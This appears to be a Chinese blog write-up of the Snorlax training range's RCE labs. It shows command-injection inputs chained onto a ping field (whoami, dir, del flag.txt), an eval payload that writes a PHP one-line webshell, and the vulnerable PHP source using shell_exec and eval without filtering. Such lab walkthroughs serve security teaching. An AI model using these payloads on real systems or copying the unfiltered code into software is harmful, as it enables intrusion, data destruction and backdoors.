Snorlax 靶场:RCE 攻击
RCE 攻击#
命令注入攻击的目的是,在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下,执行不需要的系统命令的应用程序就像一个伪系统外壳,攻击者可以将其作为任何授权的系统用户使用。但是,执行命令的权限和环境与 web 服务相同。
在大多数情况下,由于缺少正确的输入数据验证,攻击者对例如表单、cookies、HTTP 标头等进行操控,使得命令注入攻击成为可能。此攻击也称为“远程命令执行 (RCE)”。
Snorlax 靶场共有 2 个关于 RCE 的场景,分别是 RCE Exec 和 RCE Eval。
RCE Exec#
漏洞利用#
先熟悉一下页面功能,输入一个 IP 地址后将执行 ping 命令,将结果会显到界面上。
127.0.0.1
由于在操作系统中,“&”、“&&”、“|”、“||”都可以作为命令连接符使用,只要网页没有对参数进行任何过滤,就可以用连接符后面接上其他指令来执行。使用 & 连接命令“whoami”,该命令用于查看当前有效用户名的命令,Windows 和 Linux 系统都支持。根据显示的内容不同,可以用来判断是否有远程命令执行漏洞和判断操作系统。
127.0.0.1 & whoami
通过回显的信息可以判断此处存在 RCE,而且操作系统是 Windows。所以接下来可以继续用 RCE 执行 Windows 系统的命令,例如使用 dir 命令扫描目录。
127.0.0.1 & dir
由于可以使用一些命令来获取操作系统中的文件信息,所以也可以使用 del 删除文件。
127.0.0.1 & del flag.txt
虽然页面没有什么异常,但是 del 命令已经执行成功了,使用 dir 命令查看已经没有这个文件了。
查看源码#
此处的源码很简单,首先先用 GET 方法接收传来的 IP 地址。接着判断一下操作系统是 Windows 还是 Linux,用于具体写出 ping 命令。PHP 的 shell_exec() 函数通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。可以明显地看到此处没有对传入的参数进行任何的检验和过滤,导致了 RCE 的存在。
$ip = $_GET['ip'];
if (stristr(php_uname('s'), 'windows NT')){
$result = shell_exec('ping '.$ip);
} else{
$result = shell_exec('ping -c 4 '.$ip);
}
RCE Eval#
漏洞利用#
后台把用户的输入作为代码的一部分执行时也会造成 RCE,可以用 phpinfo() 函数进行测试,它可以提供关于系统中安装的 php 版本和 php 配置的详细信息。
phpinfo();
因为可以执行用户输入的 PHP 代码,可以使用 PHP 文件读写来写入一句话木马。
fputs(fopen('shell.php','w'),'<?php assert($_POST[flag]);?>');
虽然表面上看没有什么信息,但是一句话木马已经被写进去了,使用蚁剑连接成功。
查看源码#
源码也很简单,先用 GET 方法接收传来的 string 参数,然后使用 eval() 函数来执行。
$str = $_GET['string'];
$eval = eval($str.';');
if(!$eval){
$html = "要不~,随便输一个命令~";
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
2021-07-21 《剑指 Offer》学习记录:题 14:剪绳子